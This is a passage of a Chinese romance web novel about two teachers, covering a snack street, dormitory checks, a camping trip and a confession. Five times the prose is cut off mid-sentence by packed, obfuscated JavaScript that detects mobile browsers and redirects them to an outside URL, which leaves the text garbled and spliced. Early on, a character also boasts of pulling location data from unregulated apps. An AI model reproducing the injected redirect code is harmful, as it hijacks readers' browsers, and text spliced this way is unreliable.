“另外这个人没有关掉手机定位，不少app的后台都记录了轨迹信息，正经app的话需要向对应公司申请查看，我调的记录是从一些不太正规的app上得到的。”霍空青强调。 虽然有保证，但在执法人员面前，自己的行为还是稍稍收敛一点的好，可不能给警官留下自己对法律毫无顾忌的印象。 顾队长心领神会，“等案件结束，我会向上面申请协助奖金的。” 年轻警察忍不住插话，“霍老师有兴趣多个兼职吗？我们正好还有一个外聘名额的。” 霍空青笑而不语，顾队长也没强求，只是拍了拍徒弟的肩膀，对着两人露出友好的笑容，“我们先回所里，两位老师外出时注意安全。” 等两位警官离开后，商陆开口询问，“通过定位找到同伙的位置了？” 霍空青点头：“差不多，不过只有三个小时前的位置，如果警方有提前部署的话，他们没办法离开江定县，被找出来只是时间问题。” 一个不错的好消息让商陆紧绷的神经稍稍放松下来，“那晚饭去小吃街解决怎么样？原则上我们只要十点来查寝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261144|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就行。” 霍空青点头：“好啊，小敏不就在那边打工吗？到时候顺便送她回学校好了。” 没说明的小心思被霍空青发现后，商陆眼里多出一抹无奈和沉沦。 谁能拒绝身边有一个心意相通的人呢？更别说霍空青的各项条件那么好，好到让商陆都想变成恋爱脑，抛开心中一切的顾虑，豪赌上那么一次。 赌霍空青不会再次离开自己，赌她们能有一个美好的未来。 - 小吃街设立在一个翻新过的古街道，对外宣传是百年老街，实际上在翻新前不过是一条普通的砖房商业街。 慕名而来的游客并不知道内情，一边扫码购物一边拍照发朋友圈，吸引着源源不断的游客到来。 小敏同学在其中一个集烤串、炸鸡、鲜榨果汁为一体的摊子上忙活，她主要负责榨果汁和打包。 虽然满到擦汗都急匆匆的，可小敏脸上的笑容就没有消下去过。 她很喜欢这种感觉，一想到每天能拿到一百五十块钱的工资后，更是拿出十二分的热情招待每一位顾客。 “您好，请问需要点什么？我们这里都是现榨的，有加冰和常温两种选择。”小敏熟练重复着，随后才发现眼前的客人是自己的老师。 “商老师，霍老师，晚上好。”小敏一秒变得拘谨，身体也下意识挺直了许多。 “晚上好，我们需要两杯不同口味的果汁，有推荐的吗？”霍空青笑着问道。 小敏慢慢放松下来，“橘子和苹果都很不错，可以加一点冰块，而且我们两杯只要二十块。” “那就这两样，冰块不需要太多，”霍空青拿起手机扫码付钱。 在小敏忙活的时候，商陆开口询问，“美食街会开放到凌晨，你来得及回学校吗？” 小敏点头，“商老师不用担心，九点就会有人来接我的班，我的工作时间是下午三点到晚上九点，就六个小时。” “九点还有公交车吗？”霍空青问道，“还是打车回去？” “我算过时间，走回去只需要四十分钟。”小敏露出腼腆的笑容，“老师，你们要的果汁好了，需要我帮忙打开吗？” “没事，我们自己来。”商陆从学生手里接过袋子和吸管，“我们正好要在附近逛逛，到时候我们一起回去好了。” 小敏眨了眨眼，作为乖学生的她在犹豫后还是同意了下来，并且略显心虚的拿出手机添加了自家班主任的联系方式。 原则上学校是不允许带手机的，不过商陆一般不严抓，只要别带到教室影响学习，她通常都睁一只眼闭一只眼。 18. 第十八章 美食街附近有一个公园，吃饱喝足后霍空青和商陆就手牵手在里面逛了起来，准备消磨时间到九点再去接人。 公园内有不少带着音响和话筒的人，也不知道是纯粹热爱唱歌还在搞直播，音乐声就没有断过，直到走进公园深处，只有些许路灯的地方才稍稍好一些。 “这里环境不错，很适合饭后散步。”霍空青点评，看着路灯下两人依偎在一起的影子，嘴角露出笑意。 “嗯，就是距离学校有些远，做不到每天来。”商陆接着说道，“周末的时候我偶尔会来这里逛逛，更热闹的时候还会有一些活动在这里举办。” “新年的时候就有歌唱比赛，当时第一名能拿到十万块，热闹了好一阵呢。” “今年还有吗？”霍空青问道。 商陆踢了一脚路边的碎石头，“去年是第一届，带来的效益挺不错的，应该会有第二届，奖金可能还会增加到十五万。” 霍空青：“到时候我来陪你看比赛？” 商陆的视线顺着石子滚动的方向看去，看到了伪装成石头的音响，忽然笑了一声，“好啊，希望那个时候我们已经放假了。” “老师不是有寒暑假吗？” “原则上是的，不过会安排轮值，本地老师和班主任轮值概率比较高，今年我是双buff，最少也要值班两天。” “问题不大，不是有我陪你吗，就当是在办公室蹭空调蹭网。” 霍空青和商陆你一言我一语的聊着，气氛前所未有的融洽，等沿着公园逛完一圈后，时间也差不多到了九点。 回到美食街后，小敏也正好和来替班的人完成工作交接，手里拎着一杯老板送的果汁。 坐在车内的小敏同学略显拘谨，眼神也不敢乱瞟，大部分时间都在看着窗外。 “谢谢霍老师，谢谢商老师。”下车后小敏同学反复道谢，得到两位老师的回应后，就一溜烟的跑向宿舍。 两位老师人很好，可小敏同学暂时还克服不了对老师的天然敬畏。 “我看着很凶吗？我怎么觉得学生有些怕我？”霍空青忍不住摸了摸自己的脸，她又不是四班的班主任，对学生的威慑力应该没有那么强吧？ “可能是自带的职业滤镜吧。”商陆微微仰起头看着霍空青的脸，立体深邃的五官在不笑的情况下确实唬人。 尤其是在清冷月光的照耀下，部分轮廓没入阴影中，要是眼神再冷淡一些的话，说不定能吓到小孩子呢。 说起来，自己在最开始注意到霍空青的时候，也会下意识觉得对方是个不好惹的人，自己是从什么时候对霍空青改观的？从她给自己送奶茶开始？ 被注视的霍空青眉梢微挑，低头拉近和商陆的距离，“商老师，你为什么一直盯着我看，是忽然发现我长得不错吗？” 商陆一秒收回发散的思绪，扯开话题，“我去办公室拿名单，我们从女生宿舍才开始点名吧。” 霍空青扣住商陆的手，“现在就去查寝吗？好像还没到熄灯时间。” “原则上是十点，不过不会有学生卡在十点才回学校，这点基本都到寝室了。”商陆说道，手指微微收紧，贴上霍空青温热的掌心。 商陆先查的是女生寝室，加上小敏同学留校的一共也就八个女生，一一确定她们都到寝室且不出门后，她才离开去查男寝。 男寝比女寝相对热闹一些，偶尔还能听到男生组团打游戏的声音。 放假期间不查手机，留校的男生见到有老师查寝也不着急将手机收起来，看到商陆和霍空青也就是暂时挂机息屏，脸上笑嘻嘻的。 “晚上寝室大门会上锁，明天早上五点半准时打开，如果遇见特殊情况可以喊宿管阿姨。”商陆叮嘱道。 “好的，老师放心，我们不会乱跑的。”男生保证道，他们有的人不认识商陆，但都认识霍空青。 确认二十三个同学都已经在寝室后，商陆就准备将表格交给宿管，正式完成一号的值班工作。 不过才到刚刚走到一楼，就看到了年级主任，商陆主动打招呼：“余主任，晚上好。” “晚上好，商老师这是查完寝了？”年级主任问道，余光瞟见两人十指相握的手后，下意识觉得两人在恋爱。 年级主任倒不是有什么敏锐的姬达，纯粹是抓学生早恋积累出来的经验，几乎一个照面就能感应出来走在一起的两人有没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16274061|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有情况。 不过年级主任很快就在第二时间否定了自己的直觉，女孩子之间举动亲密的不少，上厕所都要搭伙一起，就更别说是只是牵个手。 两人年纪相仿又是一个大学毕业的后，关系亲密一点也正常。 商陆没有察觉到任何不对，笑着应下，“嗯，二十三个学生都到齐了，都是提前到的，没有卡点。” “辛苦了，晚上回去的时候注意安全。”年级主任说道，对着霍空青笑了笑。 “主任也是，注意安全。”霍空青客套道，就这样拉着商陆离开对方的视线。 - 国庆第一天的夜晚比往日要热闹许多，即便十点钟也不影响外面商铺邻里，做生意的基本都想趁着过节多赚一点钱。 没有物业管理的老小区比平时要亮上些许，虽然没有太过夸张的横幅，不过路灯上也多了一点国旗元素的装饰，原本十点歇业的小超市也还亮着灯。 “明天吃过早饭以后出发。”站在601门口的霍空青，手臂撑在楼梯扶手上，语气随意，“考虑到国庆车流量比较多，我们的午餐可以在中间的服务区解决。” 商陆打开了里面的实木大门，捏着钥匙转身看向霍空青，“好，九点出发的话，八点半左右一起去外面吃早饭？” “我没问题。”霍空青说道，打开门后顺手将钥匙丢向商陆。 “这是备用钥匙，劳烦商老师帮我保管一下，我担心外出的时候弄丢了。”霍空青笑眯眯的说道，“要是我没起床的话，你直接进来喊我就行。” 商陆下意识接过，嘴唇微动似乎想要说什么，但到最后只有一个带着鼻音的嗯。 见状霍空青脸上的笑容越发灿烂，立刻更进一步，“可以给我一个晚安吻吗？我想晚上做一个美梦。” 商陆默默注视着霍空青，霍空青歪头装傻，仿佛自己刚才提出的只是一个微不足道的要求。 “低头。”商陆轻声说道。 下一秒霍空青就把脑袋凑了过来，就差主动吻上去了。 商陆用嘴唇碰了一下霍空青的嘴角，然后拿着两把钥匙飞快将两道门反锁，只留下一个摸着嘴角傻笑的人在楼道里。 19. 第十九章 霍空青给自己定了七点的闹钟，准备提前一个半小时捣腾自己，让自己最后一步能顺利迈出去。 可衣服换了一套又一套后，霍空青还是觉得不够满意，甚至不惜给远在海外的自家姐姐打去视频电话，征求对方的意见。 听到自家妹妹的请求后，霍苏叶足足沉默了十多秒，随后以过来人的经验给出建议，“既然穿什么都不满意，那就按照你大学时的喜好搭配一套好了，至少那个时候的她是喜欢你的。” 霍空青眼睛一亮，敷衍给了姐姐一个么么表达感谢后，放弃了那些大牌子的高定，老老实实穿上黑色衬衣加深棕色长裤。 衣角被塞进裤子里，搭配亮棕色腰带，将劲瘦的腰身勾勒出来。 霍空青记得商陆很喜欢自己这一套搭配，干练清爽看着就更有朝气，自己第一次穿的时候，商陆盯着自己的腰看了足足三秒。 甚至还在晚上忍不住将手伸进来，捏了捏自己手感超好的腹肌。 对着镜子确定自己的着装没问题后，霍空青将袖口微微挽起，戴了一块低调的腕表在左手手腕上，随后拿起手机和钥匙出门。 霍空青抬起手才刚想敲门，内里的实木大门就先一步被打开。 商陆穿的也是衬衣加长裤，不过她是内搭加上宽松水洗白衬衫，看起来更加休闲日常。 熟悉的搭配让商陆恍惚了一瞬，瞬间将时间拉回到六年前，大学时的霍空青就喜欢这样简单的搭配。 不管几千块一件的衬衫，还是自己给她买的几十块普通水洗棉衬衫，只要穿在她身上就显得格外有范贵气，整个人就和衣架子一样。 “商老师，早上好呀。”霍空青笑着打招呼。 “早上好。”商陆打开外面的防盗门，任由对方牵住自己的手，“走吧，吃饭去。” 霍空青乖乖跟上商陆，两人在小区附近开了十多年的早餐店坐下，点了锅贴和豆浆。 “有一个好消息和一个不是很好的消息，你要先听哪一个？”霍空青嘴里嚼着锅贴问道。 “不好的消息。”商陆停下筷子。 “我们可能要晚一到两个小时出发，我有一个临时任务需要完成。”霍空青咽下嘴里的食物。 商陆：“好消息？” “顾警官告诉我，那个嫌犯的两个同伙都被抓住了，就在今天凌晨。”霍空青笑着将手机屏幕转向商陆。 商陆一下将信息串起来：“是顾警官需要你帮忙？还是读取那些数据？” “嗯，顾警官怀疑他们和更大的拐卖团体有联系，所以想要让我找出被删除的东西。”霍空青说道，“一会和我一起，还是在家里等我。” “我和你一起。”商陆毫不犹豫的给出答案。 - 按照顾队长的说辞，这两个犯人在同伴失去联系后就有所警惕，在被抓捕前就尽可能的删除了对自己不利的东西。 在江定县的小团伙虽然只有三个人，可他们清楚一些其他拐卖团伙的销售路线，甚至还有所联系。 意识到会打掉一个极大的拐卖团伙后，霍空青把压箱底的绝招掏了出来——请外援。 术业有专攻，相对的数据霍空青只需要一点时间就能恢复，但想要把时间线拉到一年甚至更久以前，那就要交给辅导过她的几位老师。 对请来的外援选择请外援这件事，顾警官脸上的表情略显微妙，尤其是在听说对方是外籍友人后，脸上的表情就凝重起来。 等送霍空青和商陆离开后，跟着顾警官的年轻警察忍不住问道，“顾队，你是在担心对方请的外援不可靠？” 顾队长摇头，有些烦恼的抓了抓自己的短发，“我是在想怎么写报告，她们找出来的东西太有用了，如实汇报上去的话，其他地方的支队说不定也会来请外援。” “那岂不是三天两头都要麻烦霍老师？”年轻警察说道，“市局里应该也有专业人员吧？” 顾队长沉默了足足五秒，随后长叹一口气，“市局技术人员的水平或许和霍老师差不多，可绝对比不上她的那些老师。” “可惜了，如果不是外国友人的话，还能试一试用编制把人哄过来呢。” - 已经上高速的霍空青可不知道自己喊来的外援会让顾警官颇为烦恼，在顺利开上高速二十分钟后，她们不出意料的就开始缓慢行驶。 导航显示前方三公里发生事故，预计需要半小时才能通过缓行路段。 霍空青缩小地图看了看前方断断续续红到发黑的路线，“我们要不要改走国道？虽然会慢一点，但可以欣赏路上的风景。” 商陆凑过来看了一眼，一百公里内就有三段路线冒红，就算每个地方只堵二十分钟加一起也有一个小时。 “好，顺便找个饭店吃饭，已经十一点快多了。”商陆掏出自己的手机看了看，“下个路口驶离高速的话能到隔壁县，我查查附近有什么餐厅。” 霍空青嗯了一声，开始往右边变道，朝着相对空旷的匝道驶去。 国道比高速要通畅许多，在遇不见大货车的情况下，导航预估总耗时竟然只差半个小时。 午餐是商陆按照感觉选的餐厅的评价一般，胜在附近有能停车的地方，下车步行三分钟就能坐进店里。 本着来都来了的想法，霍空青点了两道招牌两道特色，不过十五分钟，还冒着锅气的菜肴就被端上了上来。 霍空青拿起筷子，将裹满酱汁的茄子吹了吹后塞进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282087|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴里，“还不错，大厨的手艺快能和商老师你平分秋色了。” 和自己平分秋色？商陆带着好奇也尝了一块，随后眼神略带幽怨，“霍老师，你这是在打趣我吗？” 自己的手艺固然不错，可比起做这道菜的专业厨师还是差了那么一点点的，她不至于如此自负。 “要是让我选的话，我愿意天天吃你做的菜。”霍空青笑着卖好，她只是不想遗漏任何一个讨好未来女朋友的机会而已，这又有什么错呢？ 商陆被逗笑，“可我会的菜色就那么多，两个人三个菜就足够，每天吃的话很快就会有重复的菜，你不会觉得厌烦吗？” “我怎么会对喜欢的东西感到厌烦呢？时间只会加深我的喜欢，不会冲淡。”霍空青认真回应，“商老师，你知道的，我可是一个很长情的人。” 商陆用筷子戳了戳米饭，没再继续这个话题。 霍空青见好就收，开始给商陆夹菜，“当班主任很辛苦，你比起开学时瘦了好多，趁着这个假期好好补补。” “每天陪我早出晚归，霍老师你也很辛苦。”商陆夹起虾球放在霍空青的碗里，看似无意问道：“没有意外的话，未来三年我都会是班主任。” 商陆看向霍空青：“尤其是高三，我可能每天都要九点半才下班，霍老师能一直陪我吗？” 霍空青没有直接给出答案，而是认真思考，“按照一中的教学计划，信息技术课只有高一有，我是合同制的老师，合同一年一签订。” 商陆没说话，但她握着筷子的手不觉用力了几分。 是了，袁艺在最开始就和自己说过，今年新来的老师一个是有编制的一个是没有编制的。 一年一签的合同聘用制，意味着霍空青随时可以抽身离开，她和自己不一样，她有很多选择。 “你明年不会续约？”商陆问道，语气听起来和平时没有区别，只有她自己才知道胸腔内的心脏跳得有多块。 “要是教学计划没有变化的话，我大概不会续签。”霍空青说道，语速比平时快了一些，“我会对我的学生负责的，确保他们每个人都能通过学年末的学业水平考试，我不是那种不负责任的老师。” 商陆哦了一声，开始低头扒拉米饭。 “商陆，你不要误会我，我不当老师也可以陪着你的。”霍空青立刻解释，她可不想产生没必要的误会。 商陆抬头，嚼着米饭等着霍空青后面的话。 “不出意外的话，年末分公司就会在江定县成立，选址距离学校不会太远。只要保安大姐不拦着我，我一样可以接送你上下班的，就和现在一样。” 霍空青强调，“我只是不能作为同事出现，不代表我不会出现。” 20. 第二十章 拎着新制作出来的微糖奶茶后后，霍空青和商陆再次踏上旅程。 国道两边的风景比起高速丰富许多，有工业区、发电厂、居民区，甚至还有屹立在山腰处的道观庙宇。 遇见绿植多的路段，还能打开车窗迎接清醒的空气，掏出手机拍个照片。 和高速比起来唯一的缺点大概就是道路两侧偶尔会有电动摩托车出现，极个别还会开在路中间，必须鸣笛两次以上对方才会让开。 走走停停到差不多下午三点后，霍空青驾驶车辆抵达野外露营基地。 基地占地面积很大，露营区设立在人工草坪上，往前走一百多米是一处可以登高远眺的观景台和滑翔伞基地。 厕所距离露营区域大概两百米左右，贴心的按照男女分开，各自设有淋浴区，全天候提供热水。 更远的地方好像还有其他设备，听说周末会有不少公司选在这里进行团建、破冰活动。 国庆假期间哪里人都多，这个不算太出名的露营也是一样，霍空青是提前了一周预定，这才选到一个环境相对好的露营VIP区域。 “我能做什么吗？”完全没有露营经验的商陆问道，她除了搬东西的时候搭了把手以外，其余时间都在看着霍空青忙活。 “无聊的话可以看看风景，远处好像还有什么攀岩、真人CS基地，如果感兴趣也可以尝试一下。”霍空青头也不抬的说道，她正在打地钉固定帐篷。 “我想学怎么搭帐篷。”商陆拿着剩余的钉子蹲在霍空青的身边，“现在教会我的话，下次你就不用一个人搭了。” 霍空青听到后怔了一下，扭头看向商陆，眼睛亮的吓人：“需要我拆掉从头开始吗？” 商陆忍不住笑了出来，“不用，从现在开始也可以，我刚才有在认真观察。” “那我简单补充一下前面的步骤吧。”霍空青眼睛里闪着光，语气里有藏不住的雀跃，“选一块平整合适的地方，然后铺设防水布，有防水层的在上面，就像这样。” “嗯，我看到了。”商陆就和一个乖学生一样点头给出回应。 “然后就是检查帐篷和铺开它，选好门的位置，将四角大致对齐，就像这样，我的选的门不是正对人群，这样我们进去就不需要担心隐私问题。”霍空青比划着。 “组装帐杆这一步需要一点经验，不过上面都有颜色编码，注意保持匹配就行。” 这一步虽然已经完成了，可有实物在，讲解起来也很方便，霍空青直接抽出一部分杆子让商陆体验了一下。 “说是野外露营，但这里也是人工选址，可以跳过防风绳这一步，直接考虑固定地钉就行。”霍空青说道。 在商陆把地钉拿在手里后，握住她的手背，“插入角度45°-60°之间很对合适，插进去以后可以用东西砸，也能直接用鞋底踩下去确保牢固就行。” “最后是外帐，也就是防雨罩。按照现在的天气可能用不上，不过早上起来可能有雾，也有一点防潮作用。” 这一步霍空青完全就是手把手教学了，每一个挂钩都是她只会让商陆亲手挂上的。 “帐篷内可以额外铺一层防潮垫，然后就是充气床垫，枕头和一些会用到的东西。”霍空青把背包塞了进去。 “这是折叠桌和折叠椅，操作起来挺简单的，这样组合一下就好。” 霍空青三两下完工，不到一分钟的时间就组好了一个桌子和两个有靠背的椅子。 “要是在真的野外，我们还可以带上火炉和铁锅，工兵铲也可以带上一套。”霍空青坐在椅子上，放松下身体，“想要挑战一下的话，还可以自己打猎，过滤水源等。” “不过这次我没有把装备带齐，我们可以下次体验。” 商陆坐在另一把露营椅上认真的听着，这些东西对她而言都有些陌生，是她没有接触过的领域。 “真正的野外露营听起来似乎很有趣。”商陆说道，“你听起来亲身体验过？” 霍空青点头，雀跃的心情稍稍冷静下来，笑着说道，“在国外的时候，我应邀去参加过一个户外生存十四天的挑战，为确保能完成任务，单是装备就快要塞满一辆皮卡车。” “过程中遇见不少问题，好在都能克服，最后得到的结果也很不错。” “你在国外的五年过得似乎还不错？”商陆掸了掸裤子上沾染的杂草，“好像经历了不少有趣的事情。” “还可以，最开始有些压力，后来有姐姐帮我，我也就慢慢轻松下来了。”霍空青含糊着说道，并不打算详谈分别时自己的经历。 商陆也察觉到了这一点，很自然的改变话题，“这里有出租的烤炉和食材，我们晚饭吃点烧烤？” “好啊，多买一点炭，等天黑了还能继续烧烤。”霍空青笑着应下。 把帐篷内安置好以后，霍空青和商陆租了一个中型烤架，随后开始在桌子上按照自己的喜好制作烤串。 小青菜必不可少，锡纸金针菇不错，玉米也可以用锡纸包起来进行一整个烤制。 肉类的选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289489|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有限，差不多就是鸡、鸭、牛、羊的身体部位。内脏的销量似乎格外好，尤其是腰子，在其余肉类还剩大半的时候就被抢购一空。 不过两人对内脏的喜好度本就一般，在调味料有限的情况下，还是肥瘦相间的肉烤起来更有滋味。 忙活到太阳要落山的时候，烤架上的肉才滋滋作响，散发出诱人的香味。 为了确保用户的体验感，露营区域内只有个别防止摔倒的地灯亮着，主要的光源还是霍空青自带的露营灯，往支架上一挂，氛围感直接拉满，就好像这片小天地只剩下她们两个人。 “试试我的手艺。”霍空青分出两串羊肉串递给了商陆，“还有些烫，记得吹吹。” 商陆接过闻了闻味道，香料和肉香味完美融合在一起，勾起她的食欲。 区别于普通烧烤摊的小串羊肉，两人自己制作的肉串用料格外扎实，烤熟后每块都有一块钱硬币那么大，咬下去十分满足。 “唔，味道很好。”商陆没有吝啬自己的夸奖，“比我在校门口吃过的烧烤摊要好。” “你尝过那边的烧烤摊？”霍空青问道，手上也拿着羊肉串大口咀嚼。 “在我第一年教书的时候尝过，当时和袁艺还有另外两个老师一起，那天开完会已经差不多九点半了，我们肚子都饿了。” 商陆回忆起从前，“我还喝了半杯啤酒，味道很苦，但搭配上烧烤还能接受。” “啤酒也是酒，喝完还能骑车回家吗？”霍空青问道，将没用的木签折断后丢进垃圾桶。 “原则上不行，也算是酒驾。”商陆笑着说道，“不过我喝的很少，正好附近有检查点，我去吹了吹，发现还没到标准。” “大概是真的太苦了，后来我放弃喝啤酒改为可乐。”商陆补充道。 商陆很少主动分享自己的经历，因此霍空青听得很认真，“不喜欢啤酒可以试一试红酒和果酒，部分口感很好，就和喝果汁一样。” “你有推荐的？”商陆看向霍空青，嘴角还有酱汁的痕迹。 “嗯，我有保存一些口感不错的。”霍空青说道，在上嘴和上手中选择抽出纸巾，认真擦掉商陆嘴角的痕迹。 “我明天让人送过来，回家以后一起试试？”霍空青发出邀请，目光专注。 “好啊。”一抹笑容浮现在商陆脸上，明明没有喝酒，但她却觉得自己有些醉了。 霍空青总是这样，用看狗都深情的眼神让自己抛弃一部分理智，心甘情愿的沉溺在她的精心构建的温柔乡中。 21. 第二十一章 吃饱喝足归还烧烤炉后，霍空青和商陆坐在露营椅上，欣赏起悬挂在半空中的月亮。 在没有乌云的情况下，月光格外皎洁明亮，让周围的星星都失去光彩，变得不在夺目。 “今天是十几了？”商陆盯着天上的还没有特别圆润的月亮问道，她近视度数不算高，在不需要工作办事的时候，摘下眼镜也能正常生活。 “十一，六号那天是中秋，我们会在家里。”霍空青也仰头看向天空，“到时候带着阿姨一起去外面吃一顿怎么样？” “妈妈的话，她大概更喜欢在家里吃一顿。”商陆放松身体，感受着晚风拂过自己的身体，“家里才更有团圆的味道。” 霍空青：“也是，那我们负责采购食材，让阿姨好好发挥。” “苏阿姨呢？她不在国内吗？”商陆望向霍空青，“中秋是一家人团圆的日子。” “我妈啊，她还在国外呢，目前家里人就我一个在国内。”霍空青笑着说道，“有姐姐陪着她呢，不用担心她的中秋会无聊。” 商陆嘴唇动了动，她很想问当年到底是发生了什么变故，才会让霍空青急匆匆的出国并且和国内的朋友都断开联系。 最想问的话被商陆咽回到肚子里，换成了另一个问题，“苏阿姨准备在国外定居？” “当然不，外公外婆还在国内呢，不出意外过年妈妈过年应该就会回来。”霍空青握住商陆的手，和她十指相扣，让两人的温度透过掌心传递。 “我不是家里的老大，也没有肩负太多的责任，我可以自由选择自己在什么地方发展。”霍空青认真解释，“我可以在国外，也可以在国内，可以在京市也可以在江定县。” 商陆收紧手指，有些用力的握着霍空青的手，“这算是承诺吗？” “是一个我现阶段肯定能做到的承诺。”霍空青将自己的另一只手也放了上去，侧身靠近商陆，“可以再信我一次吗？再给我一个机会。” 商陆抿着唇，她担心自己一旦张开嘴就会迫不及待的答应下来。 没办法，霍空青已经彻底将自己拿捏，明明这些自己都已经经历过一次，不管是装可怜、黏着自己还是体贴的温柔陷阱都是如此。 可自己的心就是那么不争气，才坚持一个月就动摇，脑子也是，完全抛下两人错过的五年时间，甚至都不想追问太多。 露营灯就在两人身后悬挂着，几乎贴在一起的距离让商陆可以一览无余霍空青的眼眸。 霍空青算起来也是混血，她的奶奶有二分之一的外国血统，所以在特定光线下，就能发现她平时看起来黑色的眼眸实际上是深蓝色的。 配上眼眸中点点碎光，更像是星空。而被霍空青装进眼眸最中间的商陆，就像是此刻高悬在空中的明月一般。 谁能拒绝成为霍空青眼里的独悬的明月呢？反正商陆做不到，之前做不到，现在好像也做不到了。 “好……”商陆应道，嗓音略显沙哑。 灿烂的笑容在霍空青浮现，没等她出声，由远及近的脚步声就引起了她的警惕，锐利的视线一下就朝着声音来源扫去。 小跑过来的年轻男人下意识放慢脚步，原本十足的信心在对上霍空青极具压迫性的眼神后立刻被砍去大半。 “额，两位小姐姐晚上好，能加个联系方式吗？”年轻男人停在桌子前，脸上露出看似憨厚的笑容，双手合十说道，“我们在玩真心话大冒险，我输了，需要加到一位小姐姐的微信，拜托帮个忙。” 霍空青眼里的怒火就差喷出来了，那么好的机会为什么总是有不解风情的人？早知道下次就提前包场了，让这个露营基地只有自己人在！ “你输了游戏，为什么惩罚要落在我们身上？”霍空青冷着脸说道，“你挡到我们晒月亮了，请离开我花钱租下来的场地。” 年轻男人脸上的笑容收了起来，嘟嘟囔囔说道：“花钱租的地方又不是你的，你只是有使用权而已，不给就不给呗，有必要说这种话吗？” “请离开。”霍空青压着怒火，这要是搁在国外，自己估计都要气到拔枪了。 霍空青的眼神确实吓人，年轻男人只能一边小声嘟囔一边走远。 察觉到商陆在轻拍自己的后背时，霍空青又和泄了气的皮球一样，整个人蔫巴下来，直接埋在她的怀里，气呼呼开口，“那个人真讨厌。” “算了，一个无关紧要的人而已，没必要在意他。”商陆有些想笑，很是顺手的摸了摸霍空青的头发。 “商陆，你答应给我机会了对吗？”霍空青调整好情绪后抬起脑袋，“我现在是你的女朋友吗？” 商陆微蹙眉头故意露出思考的表情，霍空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289490|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青离开自己五年是不可改变的事实，自己要不要额外拖延五分钟，当作小小的报复呢？ “商陆，你刚才答应我的，你不能反悔。”霍空青再次开口，眼巴巴的看向商陆。 “嗯。”商陆还是没忍住松了口，她抵挡不住装可怜的霍空青，只坚持不到一分钟就败下阵来。 “那我可以吻我的女朋友吗？”霍空青努力按捺自己雀跃激动的情绪，她不想中途再出变故，必须把名分定下才行。 商陆这次没有开口回答，而是伸手捧住霍空青的脸，蜻蜓点水般碰了碰她的嘴唇。 没等霍空青反应过来，商陆就先一步捂住了她的嘴，截断她反攻自己的机会，“还在外面呢，说不定有人看着我们。” 霍空青眨了眨眼，在她乖乖点头后，商陆才把手移下来。 等两人准备收拾东西进帐篷后，又有一个不知名男人朝着她们所在的营地靠近。 不过这次来的人倒是礼貌了很多，手里还拎着一袋橘子，“很抱歉给两位造成困扰，这是我们的赔礼，还请两位女士收下。” “如果真觉得抱歉，那么就请不要再打扰我们，不要以任何理由打扰我们。”霍空青强调，并且坚定下次要在重要场合清场的想法。 霍空青强硬的态度让男人一脸讪讪的离开，估摸着短时间内是不会来打扰她们两个了。 简单用热水洗漱后，霍空青和商陆一起躺在了帐篷里，身上盖着一块毯子相互依偎。 嘈杂的人声随着时间慢慢消退，随之而来的是风声、虫鸣声还有身侧之人的呼吸声。 商陆的身高不算矮，很接近国内男性平均身高，如果穿上有些鞋跟的鞋子，就能看到不少男老师半秃的头顶。 霍空青比商陆还要高上半个头，不穿鞋就有足足有一米七六。 八厘米的身高差让霍空青可以把商陆圈在怀里，可实际在躺下后，反而是更高的霍空青钻进商陆的怀里，像个孩子一样抱着她不撒手。 